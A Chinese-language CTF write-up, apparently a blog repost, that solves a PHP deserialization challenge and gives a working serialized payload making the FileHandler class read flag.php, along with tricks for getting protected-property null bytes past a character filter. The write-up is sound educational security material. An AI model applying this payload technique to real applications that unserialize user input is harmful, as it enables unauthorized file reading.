一道php反序列化題


<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

拿到題目是這樣一段代碼,開始分析。

反序列化題目大概的重點是兩個,一個是屬性值可以修改,一個是魔術方法 __destruct 和 __wakeup。從這兩個開始入手。

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

首先找到__destruct()開始分析,當op值為2時,將op值變為1。

這里需要注意的是===全等符,==="2"這個2被包裹在雙引號中,表示一個字符。

content這個屬性的值是置為""的。

接着看向process()方法。

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

當op屬性值為1時,執行write()方法。

  private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

如果設置了filename和content,判斷content內容>100則輸出Too long;能寫入文件中的話,則輸出Successful;否則輸出Failed。

但是由於content這個屬性的值是置為""的,所以無論我們輸入什么內容,都會被置為"",這是我們不可控的,那么寫一句話之類的是沒有用的,也就是說wirte()這個方法對我們拿到flag沒有用,不用看他。

回到process()方法接着往下看。

else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }

 

當op屬性值為2時,執行read()方法。並輸出$res的值。

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

首先判斷了是否設置filename,如果設置有的話,則將文件中的內容讀取出來賦給$res。最后$res這個值是會被輸出的。

代碼一開始就提示了flag所在文件為flag.php,所以filename的值應該是flag.php。

編寫

<?php

class FileHandler {

  public $op;
  public $filename;
  public $content;

  function __construct() {
  $this->op = 2;
  $this->filename = "flag.php";
  }
}
  $obj = new FileHandler ;
  echo urlencode(serialize($obj));
?>

輸出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

這里進行了一個url編碼,以防有些字符顯示問題。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

最后將得到的payload傳入參數即可得flag。

這道題還有一個考點:

    protected $op;
    protected $filename;
    protected $content;

題目開始定義屬性是用的protected,如果我們用這個編寫payload的話得到的是

 

 

 會發現多出了%00,但是因為源碼中有這樣一串代碼

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

會遞歸判斷傳入的str是否在ascii碼32-125之間,%00為0,是不存在的,所以這里需要繞過protected。

第一種辦法就是將protected改為public,但是這只適用php版本大於等於7.2的。

第二種辦法是將屬性的s改為S

 

 

protected  就是修改成 \00*\00,其實就是 protected 的屬性 ,他是 %00*%00op 。但是%00這種字符我們是看不見的。所以瀏覽器輸出就是 *op

private 就是修改成 \00類名\00

修改后為

 

 

 

 

總結:在看源碼時先找到入口,看代碼一步一步分析,屬性是可構造的,要明白我們想要得到的結果是什么。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM